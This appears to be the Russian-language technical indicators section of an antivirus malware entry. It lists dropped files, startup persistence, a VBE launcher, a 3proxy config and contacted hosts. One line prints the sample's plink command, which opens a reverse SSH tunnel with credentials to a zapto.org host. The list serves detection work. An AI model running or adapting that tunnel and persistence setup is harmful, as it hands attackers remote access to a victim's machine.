Техническая информация
- %HOMEPATH%\Start Menu\Programs\Startup\DiskDoctor.lnk
- C:\Recycle.Msi\System.exe -ssh -R 12363:127.0.0.1:2103 https.zapto.org -l user2 -pw 2n1612
- C:\Recycle.Msi\cssrs.exe
- <SYSTEM32>\wscript.exe "C:\Recycle.Msi\alg.vbe"
- C:\Recycle.Msi\pic.url
- C:\Recycle.Msi\DiskDoctor.lnk
- C:\Recycle.Msi\System.exe
- <LS_APPDATA>\PUTTY.RND
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\skyjetsopas[1]
- %TEMP%\$inst\temp_0.tmp
- %TEMP%\$inst\2.tmp
- C:\Recycle.Msi\3proxy.cfg
- C:\Recycle.Msi\cssrs.exe
- C:\Recycle.Msi\alg.vbe
- %TEMP%\$inst\2.tmp
- %TEMP%\$inst\temp_0.tmp
- 'ht###.zapto.org':22
- 's1###.#hotobucket.com':80
- 'localhost':1038
- s1###.#hotobucket.com/albums/w456/skyjetsopas/
- DNS ASK ht###.zapto.org
- DNS ASK s1###.#hotobucket.com
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebcheckMonitor' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: '' WindowName: ''